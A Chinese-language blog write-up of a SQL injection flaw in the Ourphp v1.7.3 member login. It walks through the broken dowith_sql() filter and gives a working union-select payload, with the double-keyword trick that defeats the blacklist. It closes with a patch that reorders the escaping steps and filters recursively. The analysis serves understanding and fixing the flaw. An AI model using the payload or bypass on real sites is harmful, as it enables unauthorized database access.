Ourphp v1.7.3 SQL Injection
跟着表哥学习学习(ง •_•)ง
0x00 漏洞产生原理
首先放上表哥给的Payload
)union selselectect 1,user(),3,4,5-- p0'
通过Payload往上找漏洞点
http://www.op.com/client/user/?cn-login.html
首先根据登录页面的url,找到在templates/user目录下的cn_login.html,然后在会员登录表单中,找到调用的php文件的路径,在第31行
action="[.$webpath.]client/user/ourphp_play.class.php?ourphp_cms=login"
然后往上找到client/user目录中的ourphp_play.class.php,在第184行,将post传入的参数带入了数据库查询语句
$ourphp_rs = $db -> select("`id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username`","`ourphp_user`","WHERE (`OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."' || `OP_Usertel` = '".dowith_sql($_POST["OP_Useremail"])."') and `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."'");
在其中使用了”dowith_sql()”函数将参数进行了过滤,很明显是自定义函数,定位一下,在function目录下的ourphp_function.php文件中的第10行.
审计一下所谓的防注入函数,可以看到开发人员在此犯了一个严重的错误。首先使用addslashes()函数将一些敏感字符,比如单引号进行了转义,但是,在后续处理中又将单引号使用str_ireplace()函数替换掉了,这就相当于传入的单引号变成了反斜杠”"。
第11行
$ourphpstr = addslashes($ourphpstr);
第35行
$ourphpstr = str_ireplace("'","",$ourphpstr);
这个漏洞和前段时间的国赛中的一个Web题一样,题目是
wanna to see your hat?
解题过程:
http://iwenhu.cn/2017/07/12/%E5%9B%BD%E8%B5%9B%E7%9A%84%E4%B8%A4%E4%B8%AAWeb%E9%A2%98.html
而且在这个防注入函数中,开发者采用的一大串的str_ireplace函数来替换黑名单中的字符,有很大一部分是没有意义的,简单的双写一下就可以绕过.
比如 cocountunt,在里面一替换,就成了count
在这时,payload经过函数处理,变成了
)union select 1,user(),3,4,5-- p0\
这时带入了SQL查询语句中
select("`id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username`","`ourphp_user`","WHERE (`OP_Useremail` = ')union select 1,user(),3,4,5-- p0\' || `OP_Usertel` = ')union select 1,user(),3,4,5-- p0\') and `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."'");
在这个语句中,因为最后面的那个单引号被处理成了反斜杠,然后反斜杠将语句末尾的单引号转义,使得
(`OP_Useremail` = ')union select 1,user(),3,4,5-- p0\' || `OP_Usertel` = ')
通过Mysql监控工具可以找到执行的SQL语句
select `id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username` from `ourphp_user` WHERE (`OP_Useremail` = ')union select 1,user(),3,4,5-- p0\' || `OP_Usertel` = ')union select 1,user(),3,4,5-- p0\') and `OP_Userpass` = 'd9b1d7db4cd6e709'
在这里OP_Useremail为
)union select 1,user(),3,4,5-- p0\' || `OP_Usertel` =
语句中的union select执行了。后面的密码处理的语句都被注释符”– “注释掉了。这样就构成了一个SQL注入漏洞。
0x01 修补方案
该漏洞最主要的原因是waf的处理逻辑有问题,可以把
$ourphpstr = str_ireplace("'","",$ourphpstr);
放到
$ourphpstr = addslashes($ourphpstr);
的前面,先处理单引号,再转义敏感字符。这样的话漏洞就被处理掉了。
对于双写绕过呢,可以用递归的方式检查参数,在牺牲小部分性能的情况下来获取服务器的安全,就是检查,过滤,检查,过滤,直到检查通过为止。
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!